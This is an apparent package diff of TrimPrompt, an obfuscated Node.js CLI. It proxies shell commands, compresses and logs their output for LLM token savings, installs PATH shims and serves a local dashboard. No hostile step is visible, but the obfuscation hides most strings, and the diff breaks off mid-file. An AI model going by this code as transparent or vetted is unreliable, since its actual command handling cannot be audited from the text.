_0x7f1dff=_0x397475[_0x4eb106(0x18d)](_0x1179af=>_0x1179af==='--merges'||_0x1179af===_0x4eb106(0x142)||_0x1179af[_0x4eb106(0x152)](_0x4eb106(0x19d)));return!_0x7f1dff&&!_0x4a1349&&_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x142)),{'cmd':_0x25c74e,'args':_0x2b5243};}}}return{'cmd':_0x25c74e,'args':_0x3aaba2};}function isMcpServerExecution(_0x59e54f,_0x4b4ab7){const _0x2cf35b=a0_0x4b1687,_0x1c3681=_0x59e54f[_0x2cf35b(0x135)](),_0x210ef7=_0x4b4ab7[_0x2cf35b(0x1b4)]('\x20')[_0x2cf35b(0x135)]();if(_0x1c3681[_0x2cf35b(0x172)](_0x2cf35b(0x19c))&&(_0x1c3681['includes'](_0x2cf35b(0x17e))||_0x1c3681[_0x2cf35b(0x172)]('proxy')))return!![];if(_0x1c3681===_0x2cf35b(0x15f)||_0x1c3681===_0x2cf35b(0x173)||_0x1c3681===_0x2cf35b(0x12f)||_0x1c3681===_0x2cf35b(0x11b)||_0x1c3681===_0x2cf35b(0x1ab)||_0x1c3681===_0x2cf35b(0x123)){if(_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x156))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x122))||_0x210ef7[_0x2cf35b(0x172)](_0x2cf35b(0x148))||_0x210ef7['includes'](_0x2cf35b(0x194)))return!![];}if(_0x4b4ab7[_0x2cf35b(0x18d)](_0x1931bf=>{const _0x3a09b5=_0x2cf35b,_0x44aa94=_0x1931bf[_0x3a09b5(0x135)]();return _0x44aa94[_0x3a09b5(0x172)](_0x3a09b5(0x148))||_0x44aa94['includes'](_0x3a09b5(0x194))||_0x44aa94['includes']('@modelcontextprotocol/')||_0x44aa94===_0x3a09b5(0x180)||_0x44aa94===_0x3a09b5(0x19c);}))return!![];return![];}async function runProxy(_0x251b9a){const _0x551df9=a0_0x4b1687;if(_0x251b9a[_0x551df9(0x1b6)]===0x0){program[_0x551df9(0x127)]();return;}const _0x517f47=_0x251b9a[0x0],_0x57cff0=_0x251b9a[_0x551df9(0x175)](0x1),_0x1df973=_0x251b9a[_0x551df9(0x1b4)]('\x20');if(isDisabled()){const _0xb5badc=await(0x0,executor_1['executeCommand'])(_0x517f47,_0x57cff0);process[_0x551df9(0x140)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x140)]),process[_0x551df9(0x170)][_0x551df9(0x183)](_0xb5badc[_0x551df9(0x170)]),process[_0x551df9(0x1af)](_0xb5badc['exitCode']);}if(isMcpServerExecution(_0x517f47,_0x57cff0)){console[_0x551df9(0x165)](_0x551df9(0x199));const {runMcpProxy:_0x238771}=await Promise[_0x551df9(0x120)]()[_0x551df9(0x119)](()=>__importStar(require(_0x551df9(0x136))));_0x238771(_0x517f47,_0x57cff0);return;}const _0x3576a8=adjustCommandArgs(_0x517f47,_0x57cff0),_0x524f9b=await(0x0,executor_1[_0x551df9(0x115)])(_0x3576a8[_0x551df9(0x16b)],_0x3576a8[_0x551df9(0x13f)]),_0x3483e2=(0x0,filters_1[_0x551df9(0x154)])(_0x1df973,_0x524f9b[_0x551df9(0x140)],_0x524f9b['stderr'],tracker_1[_0x551df9(0x12b)][_0x551df9(0x177)]()['redaction_enabled']),_0xfced73=_0x524f9b[_0x551df9(0x140)]+(_0x524f9b['stderr'][_0x551df9(0x163)]()[_0x551df9(0x1b6)]>0x0?'\x0a'+_0x524f9b['stderr']:'');tracker_1['tracker']['logExecution'](_0x1df973,_0xfced73,_0x3483e2,_0x524f9b['exitCode']),_0x524f9b['exitCode']===0x0?process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'):(process[_0x551df9(0x140)][_0x551df9(0x183)](_0x3483e2+'\x0a'),_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]()['length']>0x0&&!_0x3483e2[_0x551df9(0x172)](_0x524f9b[_0x551df9(0x170)][_0x551df9(0x163)]())&&process[_0x551df9(0x170)][_0x551df9(0x183)](_0x524f9b[_0x551df9(0x170)]+'\x0a')),process[_0x551df9(0x1af)](_0x524f9b['exitCode']);}function a0_0x3719(_0x135cc1,_0x4fba98){_0x135cc1=_0x135cc1-0x110;const _0x321561=a0_0x3215();let _0x3719ac=_0x321561[_0x135cc1];return _0x3719ac;}program[a0_0x4b1687(0x1b0)](a0_0x4b1687(0x163))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x124))[a0_0x4b1687(0x125)](a0_0x4b1687(0x19f)),program['command']('ui')[a0_0x4b1687(0x150)](a0_0x4b1687(0x161))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a7))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x129),a0_0x4b1687(0x184),a0_0x4b1687(0x15a))['action'](_0x39ad25=>{const _0x3d9a78=a0_0x4b1687,_0x562ced=parseInt(_0x39ad25[_0x3d9a78(0x1a9)],0xa);(0x0,dashboard_1[_0x3d9a78(0x1b3)])(_0x562ced);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x131))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x18a))[a0_0x4b1687(0x16a)](a0_0x4b1687(0x13a),a0_0x4b1687(0x18e),a0_0x4b1687(0x182))[a0_0x4b1687(0x19b)](_0x11be61=>{const _0x504e41=a0_0x4b1687,_0x3c10a8=tracker_1[_0x504e41(0x12b)][_0x504e41(0x144)](_0x11be61[_0x504e41(0x15c)]);console['log'](_0x504e41(0x17a)),console[_0x504e41(0x181)](_0x504e41(0x16f)),console[_0x504e41(0x181)](_0x504e41(0x141)),console['log'](_0x504e41(0x13d)+_0x3c10a8[_0x504e41(0x189)]),console[_0x504e41(0x181)](_0x504e41(0x188)+_0x3c10a8['total_raw_tokens']['toLocaleString']()),console[_0x504e41(0x181)](_0x504e41(0x168)+_0x3c10a8[_0x504e41(0x12a)][_0x504e41(0x1a6)]()),console[_0x504e41(0x181)](_0x504e41(0x139)+_0x3c10a8[_0x504e41(0x13c)][_0x504e41(0x1a6)]()),console['log'](_0x504e41(0x185)+_0x3c10a8[_0x504e41(0x137)]+'%'),console[_0x504e41(0x181)](_0x504e41(0x134)+_0x3c10a8['raw_cost_usd'][_0x504e41(0x191)](0x4)+_0x504e41(0x198)),console[_0x504e41(0x181)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x3c10a8['compressed_cost_usd'][_0x504e41(0x191)](0x4)+'\x20(after\x20Shave)'),console[_0x504e41(0x181)](_0x504e41(0x174)),console['log'](_0x504e41(0x1ad)+_0x3c10a8[_0x504e41(0x15d)][_0x504e41(0x191)](0x4)+_0x504e41(0x1a3)),console['log'](_0x504e41(0x14e));}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x192))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x1a0))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x17f))[a0_0x4b1687(0x1ae)]('<key>',a0_0x4b1687(0x11d))[a0_0x4b1687(0x1ae)]('[value]',a0_0x4b1687(0x147))['action']((_0x59e16f,_0x2b9b60,_0x5ea73b)=>{const _0x2ac36c=a0_0x4b1687;if(_0x59e16f===_0x2ac36c(0x16d)){const _0x494227=tracker_1[_0x2ac36c(0x12b)]['getConfig']();console[_0x2ac36c(0x181)](_0x2b9b60+':\x20'+_0x494227[_0x2b9b60]);}else{if(_0x59e16f===_0x2ac36c(0x155)){_0x5ea73b===undefined&&(console['error'](_0x2ac36c(0x130)),process[_0x2ac36c(0x1af)](0x1));let _0x3fd02a=_0x5ea73b;if(_0x5ea73b==='true')_0x3fd02a=!![];if(_0x5ea73b===_0x2ac36c(0x167))_0x3fd02a=![];if(/^\d+$/['test'](_0x5ea73b))_0x3fd02a=parseInt(_0x5ea73b,0xa);tracker_1[_0x2ac36c(0x12b)][_0x2ac36c(0x160)](_0x2b9b60,_0x3fd02a),console['log'](_0x2ac36c(0x14c)+_0x2b9b60+_0x2ac36c(0x1a1)+_0x5ea73b);}else console[_0x2ac36c(0x165)](_0x2ac36c(0x112)),process['exit'](0x1);}}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x169))['description'](a0_0x4b1687(0x1ac))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x12c),a0_0x4b1687(0x132))[a0_0x4b1687(0x19b)](_0x1c1adc=>{const _0x2d1ebb=a0_0x4b1687;if(_0x1c1adc===_0x2d1ebb(0x12d)){const _0x1b7400=(0x0,shims_1[_0x2d1ebb(0x18c)])();console[_0x2d1ebb(0x181)](_0x1b7400[_0x2d1ebb(0x1a8)]);}else{if(_0x1c1adc===_0x2d1ebb(0x186)){const _0xc0e460=(0x0,shims_1['uninstallShims'])();console[_0x2d1ebb(0x181)](_0xc0e460['message']);}else console[_0x2d1ebb(0x165)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0x2d1ebb(0x1af)](0x1);}}),program['command'](a0_0x4b1687(0x111))[a0_0x4b1687(0x18b)](a0_0x4b1687(0x113))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x158),a0_0x4b1687(0x19a))[a0_0x4b1687(0x19b)](_0x24eac7=>{const _0x2fb6d8=a0_0x4b1687;if(isDisabled()){console[_0x2fb6d8(0x181)](_0x24eac7);return;}const _0x3c253c=(0x0,filters_1['rewriteCommand'])(_0x24eac7);console[_0x2fb6d8(0x181)](_0x3c253c);}),program[a0_0x4b1687(0x1b2)](a0_0x4b1687(0x180))[a0_0x4b1687(0x150)](a0_0x4b1687(0x19c))['description'](a0_0x4b1687(0x146))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x121),a0_0x4b1687(0x1b5))[a0_0x4b1687(0x1ae)](a0_0x4b1687(0x11a),a0_0x4b1687(0x133))[a0_0x4b1687(0x19b)](async(_0x24ea2d,_0xab93b4)=>{const _0x4c1290=a0_0x4b1687,{runMcpProxy:_0x3c9c94}=await Promise[_0x4c1290(0x120)]()[_0x4c1290(0x119)](()=>__importStar(require(_0x4c1290(0x136))));_0x3c9c94(_0x24ea2d,_0xab93b4);});const args=process['argv'][a0_0x4b1687(0x175)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x4b1687(0x161),a0_0x4b1687(0x131),a0_0x4b1687(0x192),a0_0x4b1687(0x169),'rewrite','mcp-proxy',a0_0x4b1687(0x19c),a0_0x4b1687(0x127),'--help','-h',a0_0x4b1687(0x125),a0_0x4b1687(0x18f),'-v'];firstArg&&!subcommands[a0_0x4b1687(0x172)](firstArg)?runProxy(args)[a0_0x4b1687(0x162)](_0x53649d=>{const _0x2c4a75=a0_0x4b1687;console[_0x2c4a75(0x165)](_0x2c4a75(0x1b1)+_0x53649d[_0x2c4a75(0x1a8)]),process['exit'](0x1);}):program[a0_0x4b1687(0x19e)](process[a0_0x4b1687(0x1aa)]);
|
package/dashboard.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x30c362=a0_0x2dbd;(function(_0x896caf,_0xf0c218){const _0xe7f443=a0_0x2dbd,_0x195dd3=_0x896caf();while(!![]){try{const _0x597234=parseInt(_0xe7f443(0x114))/0x1+-parseInt(_0xe7f443(0x132))/0x2+-parseInt(_0xe7f443(0x11a))/0x3+parseInt(_0xe7f443(0x107))/0x4+parseInt(_0xe7f443(0x119))/0x5*(parseInt(_0xe7f443(0x12a))/0x6)+parseInt(_0xe7f443(0x113))/0x7+parseInt(_0xe7f443(0x112))/0x8*(-parseInt(_0xe7f443(0x105))/0x9);if(_0x597234===_0xf0c218)break;else _0x195dd3['push'](_0x195dd3['shift']());}catch(_0x23097d){_0x195dd3['push'](_0x195dd3['shift']());}}}(a0_0x48f6,0x24d6a));var __createBinding=this&&this[a0_0x30c362(0x10d)]||(Object['create']?function(_0x1d3823,_0x7af420,_0x2cdd89,_0x3e36e7){const _0x10596d=a0_0x30c362;if(_0x3e36e7===undefined)_0x3e36e7=_0x2cdd89;var _0x47f85a=Object[_0x10596d(0x128)](_0x7af420,_0x2cdd89);(!_0x47f85a||(_0x10596d(0x118)in _0x47f85a?!_0x7af420['__esModule']:_0x47f85a[_0x10596d(0x127)]||_0x47f85a['configurable']))&&(_0x47f85a={'enumerable':!![],'get':function(){return _0x7af420[_0x2cdd89];}}),Object['defineProperty'](_0x1d3823,_0x3e36e7,_0x47f85a);}:function(_0x445c0f,_0x1fe8fa,_0x1af226,_0x38201c){if(_0x38201c===undefined)_0x38201c=_0x1af226;_0x445c0f[_0x38201c]=_0x1fe8fa[_0x1af226];}),__setModuleDefault=this&&this[a0_0x30c362(0x11e)]||(Object[a0_0x30c362(0x130)]?function(_0x41051d,_0x2bce8d){const _0x21d93e=a0_0x30c362;Object[_0x21d93e(0x121)](_0x41051d,_0x21d93e(0x11c),{'enumerable':!![],'value':_0x2bce8d});}:function(_0x4a8f2e,_0x2d8d54){const _0x9a45e8=a0_0x30c362;_0x4a8f2e[_0x9a45e8(0x11c)]=_0x2d8d54;}),__importStar=this&&this[a0_0x30c362(0x124)]||(function(){var _0x42f7af=function(_0x18c1ed){return _0x42f7af=Object['getOwnPropertyNames']||function(_0x1c872f){const _0x499ff5=a0_0x2dbd;var _0x33673=[];for(var _0x164f62 in _0x1c872f)if(Object[_0x499ff5(0x135)][_0x499ff5(0x116)]['call'](_0x1c872f,_0x164f62))_0x33673[_0x33673[_0x499ff5(0x126)]]=_0x164f62;return _0x33673;},_0x42f7af(_0x18c1ed);};return function(_0x31ba3a){const _0x36a3d1=a0_0x2dbd;if(_0x31ba3a&&_0x31ba3a[_0x36a3d1(0x10f)])return _0x31ba3a;var _0x37dd55={};if(_0x31ba3a!=null){for(var _0x1cde18=_0x42f7af(_0x31ba3a),_0x408097=0x0;_0x408097<_0x1cde18[_0x36a3d1(0x126)];_0x408097++)if(_0x1cde18[_0x408097]!==_0x36a3d1(0x11c))__createBinding(_0x37dd55,_0x31ba3a,_0x1cde18[_0x408097]);}return __setModuleDefault(_0x37dd55,_0x31ba3a),_0x37dd55;};}()),__importDefault=this&&this['__importDefault']||function(_0x405a65){const _0x5c5a67=a0_0x30c362;return _0x405a65&&_0x405a65[_0x5c5a67(0x10f)]?_0x405a65:{'default':_0x405a65};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;function a0_0x48f6(){const _0x155ae5=['2087043dLUomH','110643ksbTzf','readFileSync','hasOwnProperty','EADDRINUSE','get','5xQSPSY','676431lemhfG','auto','default','express','__setModuleDefault','getStatsSummary','existsSync','defineProperty','/api/stats/inspect/:id','index.html','__importStar','open','length','writable','getOwnPropertyDescriptor','path','958614ipZmrP','model','logs','join','sendFile','params','create','json','65852kFxEIR','.comp.txt','log','prototype','/api/stats/history','/api/stats/summary','18PxUEiV','tracker','282600BrqDeG','../src/index.html','utf8','[TrimPrompt]\x20Dashboard\x20error:\x20','http://localhost:','error','__createBinding','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','__esModule','homedir','./tracker','919672pTOsVL'];a0_0x48f6=function(){return _0x155ae5;};return a0_0x48f6();}function a0_0x2dbd(_0x5d3e70,_0x2582f7){_0x5d3e70=_0x5d3e70-0x104;const _0x48f6a2=a0_0x48f6();let _0x2dbda4=_0x48f6a2[_0x5d3e70];return _0x2dbda4;}const express_1=__importDefault(require(a0_0x30c362(0x11d))),path=__importStar(require(a0_0x30c362(0x129))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x30c362(0x125))),tracker_1=require(a0_0x30c362(0x111)),app=(0x0,express_1['default'])(),baseDir=path[a0_0x30c362(0x12d)](os[a0_0x30c362(0x110)](),'.trimprompt'),logsDir=path[a0_0x30c362(0x12d)](baseDir,a0_0x30c362(0x12c));app['get']('/',(_0x46ccc4,_0x23f014)=>{const _0x28650f=a0_0x30c362,_0x124584=path[_0x28650f(0x12d)](__dirname,_0x28650f(0x123));fs[_0x28650f(0x120)](_0x124584)?_0x23f014[_0x28650f(0x12e)](_0x124584):_0x23f014['sendFile'](path[_0x28650f(0x12d)](__dirname,_0x28650f(0x108)));}),app[a0_0x30c362(0x118)](a0_0x30c362(0x104),(_0x2dda39,_0x32a0c0)=>{const _0x16e738=a0_0x30c362,_0x385c2d=_0x2dda39['query'][_0x16e738(0x12b)]||_0x16e738(0x11b),_0x12a648=tracker_1[_0x16e738(0x106)][_0x16e738(0x11f)](_0x385c2d);_0x32a0c0[_0x16e738(0x131)](_0x12a648);}),app['get'](a0_0x30c362(0x136),(_0x437b9e,_0x497307)=>{const _0xfe7c4a=a0_0x30c362,_0x48b6a8=tracker_1['tracker']['getLogs']();_0x497307[_0xfe7c4a(0x131)](_0x48b6a8);}),app[a0_0x30c362(0x118)](a0_0x30c362(0x122),(_0xdd6691,_0x461a07)=>{const _0xea0b7b=a0_0x30c362,_0x32447e=_0xdd6691[_0xea0b7b(0x12f)]['id'],_0x4e4b2b=path['join'](logsDir,_0x32447e+'.raw.txt'),_0x3267d2=path[_0xea0b7b(0x12d)](logsDir,_0x32447e+_0xea0b7b(0x133));let _0x2512a3='Raw\x20output\x20log\x20file\x20not\x20found.',_0x44aa48='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0xea0b7b(0x120)](_0x4e4b2b)&&(_0x2512a3=fs['readFileSync'](_0x4e4b2b,_0xea0b7b(0x109))),fs[_0xea0b7b(0x120)](_0x3267d2)&&(_0x44aa48=fs[_0xea0b7b(0x115)](_0x3267d2,'utf8'));}catch(_0x177e27){}_0x461a07[_0xea0b7b(0x131)]({'id':_0x32447e,'raw':_0x2512a3,'compressed':_0x44aa48});});function startDashboard(_0x167aff=0xfa0){const _0x21b8cf=a0_0x30c362;let _0x166a1b=_0x167aff;const _0x69603d=app['listen'](_0x166a1b,()=>{const _0xa35551=a0_0x2dbd,_0x245434=_0xa35551(0x10b)+_0x166a1b;console[_0xa35551(0x134)](_0xa35551(0x10e)+_0x245434),console[_0xa35551(0x134)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1[_0xa35551(0x11c)])(_0x245434)['catch'](()=>{});});_0x69603d['on'](_0x21b8cf(0x10c),_0x38dfb0=>{const _0x57f02d=_0x21b8cf;_0x38dfb0['code']===_0x57f02d(0x117)?startDashboard(_0x166a1b+0x1):console['error'](_0x57f02d(0x10a)+_0x38dfb0['message']);});}
|
package/executor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';var
|
|
1
|
+
'use strict';var a0_0x3c9f39=a0_0x415a;(function(_0x9a901b,_0x456e72){var _0x124015=a0_0x415a,_0x515af6=_0x9a901b();while(!![]){try{var _0x3b89ff=parseInt(_0x124015(0x8b))/0x1*(parseInt(_0x124015(0x76))/0x2)+-parseInt(_0x124015(0x90))/0x3*(-parseInt(_0x124015(0x7e))/0x4)+-parseInt(_0x124015(0x77))/0x5+-parseInt(_0x124015(0x9a))/0x6*(parseInt(_0x124015(0x73))/0x7)+-parseInt(_0x124015(0x81))/0x8*(-parseInt(_0x124015(0x86))/0x9)+parseInt(_0x124015(0x7d))/0xa*(-parseInt(_0x124015(0x95))/0xb)+parseInt(_0x124015(0x85))/0xc;if(_0x3b89ff===_0x456e72)break;else _0x515af6['push'](_0x515af6['shift']());}catch(_0x525293){_0x515af6['push'](_0x515af6['shift']());}}}(a0_0x40ff,0x873d5));function a0_0x40ff(){var _0x421579=['__setModuleDefault','filter','233981VsOvBR','__esModule','error','spawn','toLowerCase','30318AnhBeO','data','stderr','inherit','join','get','959pextIW','prototype','executeCommand','1012ISrZZt','564415Evtwcq','__importStar','getOwnPropertyDescriptor','toString','getOwnPropertyNames','__createBinding','290EYLrnb','4144488hdsqmr','configurable','stdout','1112024mPXXmU','pipe','child_process','homedir','2802336kRSyDB','36jIKnDj','length','create','delimiter','message','297ggHBpZ','defineProperty','writable','trim','Failed\x20to\x20spawn\x20command\x20\x22','3thsmJL','default','shims'];a0_0x40ff=function(){return _0x421579;};return a0_0x40ff();}var __createBinding=this&&this[a0_0x3c9f39(0x7c)]||(Object[a0_0x3c9f39(0x88)]?function(_0xf49bbe,_0x52e66e,_0x333a5b,_0x2f3e75){var _0xdb07e3=a0_0x3c9f39;if(_0x2f3e75===undefined)_0x2f3e75=_0x333a5b;var _0x2b9105=Object[_0xdb07e3(0x79)](_0x52e66e,_0x333a5b);(!_0x2b9105||(_0xdb07e3(0x72)in _0x2b9105?!_0x52e66e[_0xdb07e3(0x96)]:_0x2b9105[_0xdb07e3(0x8d)]||_0x2b9105[_0xdb07e3(0x7f)]))&&(_0x2b9105={'enumerable':!![],'get':function(){return _0x52e66e[_0x333a5b];}}),Object[_0xdb07e3(0x8c)](_0xf49bbe,_0x2f3e75,_0x2b9105);}:function(_0x3162da,_0x53af5e,_0xd9ed88,_0x14d8f8){if(_0x14d8f8===undefined)_0x14d8f8=_0xd9ed88;_0x3162da[_0x14d8f8]=_0x53af5e[_0xd9ed88];}),__setModuleDefault=this&&this[a0_0x3c9f39(0x93)]||(Object['create']?function(_0x1ae745,_0x4963c4){var _0x1c37fb=a0_0x3c9f39;Object[_0x1c37fb(0x8c)](_0x1ae745,_0x1c37fb(0x91),{'enumerable':!![],'value':_0x4963c4});}:function(_0xd6e5b2,_0x1252fd){var _0x188f4d=a0_0x3c9f39;_0xd6e5b2[_0x188f4d(0x91)]=_0x1252fd;}),__importStar=this&&this[a0_0x3c9f39(0x78)]||(function(){var _0x1b13ae=function(_0x1e0e2d){var _0x2fbb4=a0_0x415a;return _0x1b13ae=Object[_0x2fbb4(0x7b)]||function(_0x5cb3f0){var _0x2e8c53=_0x2fbb4,_0x2ef496=[];for(var _0x5d01fd in _0x5cb3f0)if(Object[_0x2e8c53(0x74)]['hasOwnProperty']['call'](_0x5cb3f0,_0x5d01fd))_0x2ef496[_0x2ef496[_0x2e8c53(0x87)]]=_0x5d01fd;return _0x2ef496;},_0x1b13ae(_0x1e0e2d);};return function(_0x2a4496){var _0x369b3c=a0_0x415a;if(_0x2a4496&&_0x2a4496['__esModule'])return _0x2a4496;var _0x50f441={};if(_0x2a4496!=null){for(var _0x26ee83=_0x1b13ae(_0x2a4496),_0x37ce8a=0x0;_0x37ce8a<_0x26ee83[_0x369b3c(0x87)];_0x37ce8a++)if(_0x26ee83[_0x37ce8a]!=='default')__createBinding(_0x50f441,_0x2a4496,_0x26ee83[_0x37ce8a]);}return __setModuleDefault(_0x50f441,_0x2a4496),_0x50f441;};}());Object[a0_0x3c9f39(0x8c)](exports,a0_0x3c9f39(0x96),{'value':!![]}),exports[a0_0x3c9f39(0x75)]=executeCommand;function a0_0x415a(_0x1a873e,_0xdb6ebd){_0x1a873e=_0x1a873e-0x70;var _0x40ff1c=a0_0x40ff();var _0x415a66=_0x40ff1c[_0x1a873e];return _0x415a66;}const child_process_1=require(a0_0x3c9f39(0x83)),path=__importStar(require('path')),os=__importStar(require('os'));function executeCommand(_0x25c350,_0x11cc36){return new Promise(_0x3638b7=>{var _0x36b763=a0_0x415a;const _0xdba6b0=path[_0x36b763(0x71)](os[_0x36b763(0x84)](),'.trimprompt',_0x36b763(0x92)),_0xa076bf=(process.env.PATH||'')['split'](path[_0x36b763(0x89)])[_0x36b763(0x94)](_0xd53745=>_0xd53745[_0x36b763(0x8e)]()[_0x36b763(0x99)]()!==_0xdba6b0[_0x36b763(0x99)]())[_0x36b763(0x71)](path[_0x36b763(0x89)]),_0x181394={...process.env,'PATH':_0xa076bf,'TRIMPROMPT_DISABLED':'1'},_0x271d2a=(0x0,child_process_1[_0x36b763(0x98)])(_0x25c350,_0x11cc36,{'stdio':[_0x36b763(0x70),_0x36b763(0x82),_0x36b763(0x82)],'shell':!![],'env':_0x181394});let _0x462923='',_0x35ad48='';_0x271d2a[_0x36b763(0x80)]?.['on'](_0x36b763(0x9b),_0x29fc8a=>{_0x462923+=_0x29fc8a['toString']();}),_0x271d2a[_0x36b763(0x9c)]?.['on']('data',_0x3e3670=>{var _0x17dcab=_0x36b763;_0x35ad48+=_0x3e3670[_0x17dcab(0x7a)]();}),_0x271d2a['on'](_0x36b763(0x97),_0x30cb07=>{var _0x323e57=_0x36b763;_0x3638b7({'exitCode':0x1,'stdout':'','stderr':_0x323e57(0x8f)+_0x25c350+'\x22:\x20'+_0x30cb07[_0x323e57(0x8a)]});}),_0x271d2a['on']('close',_0x119edf=>{_0x3638b7({'exitCode':_0x119edf??0x0,'stdout':_0x462923,'stderr':_0x35ad48});});});}
|
package/filters/generic.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x5e4f17=a0_0x6095;(function(_0x17915b,_0x38103){const _0x7ba819=a0_0x6095,_0x273dcd=_0x17915b();while(!![]){try{const _0x18defc=-parseInt(_0x7ba819(0x9c))/0x1+parseInt(_0x7ba819(0x92))/0x2*(-parseInt(_0x7ba819(0xa0))/0x3)+-parseInt(_0x7ba819(0x99))/0x4*(parseInt(_0x7ba819(0x95))/0x5)+parseInt(_0x7ba819(0x94))/0x6+-parseInt(_0x7ba819(0x8f))/0x7*(parseInt(_0x7ba819(0x91))/0x8)+parseInt(_0x7ba819(0xa4))/0x9*(parseInt(_0x7ba819(0x90))/0xa)+-parseInt(_0x7ba819(0x9f))/0xb;if(_0x18defc===_0x38103)break;else _0x273dcd['push'](_0x273dcd['shift']());}catch(_0x57173c){_0x273dcd['push'](_0x273dcd['shift']());}}}(a0_0x3384,0x4ffee));Object[a0_0x5e4f17(0x9a)](exports,a0_0x5e4f17(0x9b),{'value':!![]}),exports['stripAnsi']=stripAnsi,exports[a0_0x5e4f17(0x9d)]=collapseDuplicates,exports[a0_0x5e4f17(0x97)]=softTruncate;function stripAnsi(_0x3b27bf){const _0x45d724=a0_0x5e4f17,_0x307992=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x3b27bf[_0x45d724(0x93)](_0x307992,'');}function a0_0x6095(_0x39a728,_0x4f586f){_0x39a728=_0x39a728-0x8d;const _0x338406=a0_0x3384();let _0x609514=_0x338406[_0x39a728];return _0x609514;}function collapseDuplicates(_0x59dc82){const _0x423914=a0_0x5e4f17,_0x5b4123=_0x59dc82[_0x423914(0xa1)]('\x0a');if(_0x5b4123[_0x423914(0x96)]<=0x1)return _0x59dc82;const _0x4783f2=[];let _0x54eaa4=_0x5b4123[0x0],_0x438d04=0x1;for(let _0x4093dd=0x1;_0x4093dd<_0x5b4123[_0x423914(0x96)];_0x4093dd++){const _0x31a4e1=_0x5b4123[_0x4093dd];_0x31a4e1===_0x54eaa4&&_0x31a4e1[_0x423914(0x8d)]()[_0x423914(0x96)]>0x0?_0x438d04++:(_0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+'\x20[x'+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x54eaa4=_0x31a4e1,_0x438d04=0x1);}return _0x438d04>0x1?_0x4783f2[_0x423914(0xa3)](_0x54eaa4+_0x423914(0x9e)+_0x438d04+']'):_0x4783f2['push'](_0x54eaa4),_0x4783f2[_0x423914(0x8e)]('\x0a');}function softTruncate(_0x520b90,_0x5cf7db=0x4e20){const _0x3d2cf4=a0_0x5e4f17;if(_0x520b90[_0x3d2cf4(0x96)]<=_0x5cf7db)return _0x520b90;const _0x30b2d3=_0x520b90[_0x3d2cf4(0xa1)]('\x0a');if(_0x30b2d3[_0x3d2cf4(0x96)]<=0xc8)return _0x520b90;const _0x4de559=0x32,_0x418176=0x96,_0xb6768=_0x30b2d3[_0x3d2cf4(0xa2)](0x0,_0x4de559),_0x2d407d=_0x30b2d3[_0x3d2cf4(0xa2)](_0x30b2d3[_0x3d2cf4(0x96)]-_0x418176),_0x4dede9=_0x520b90[_0x3d2cf4(0x96)]-(_0xb6768[_0x3d2cf4(0x8e)]('\x0a')['length']+_0x2d407d[_0x3d2cf4(0x8e)]('\x0a')[_0x3d2cf4(0x96)]);return[..._0xb6768,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x4dede9+_0x3d2cf4(0x98),..._0x2d407d][_0x3d2cf4(0x8e)]('\x0a');}function a0_0x3384(){const _0x71f406=['5608196zQeTkY','7281QsmteE','split','slice','push','18TdSuAL','trim','join','12299mJtjOi','3202370fwDZSl','576BJMzMd','58ewJVWE','replace','2645502tjJIxw','7335BqPdvM','length','softTruncate','\x20characters\x20of\x20output]\x20...\x0a','24oxevPe','defineProperty','__esModule','38204KKGbCz','collapseDuplicates','\x20[x'];a0_0x3384=function(){return _0x71f406;};return a0_0x3384();}
|
package/filters/git.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
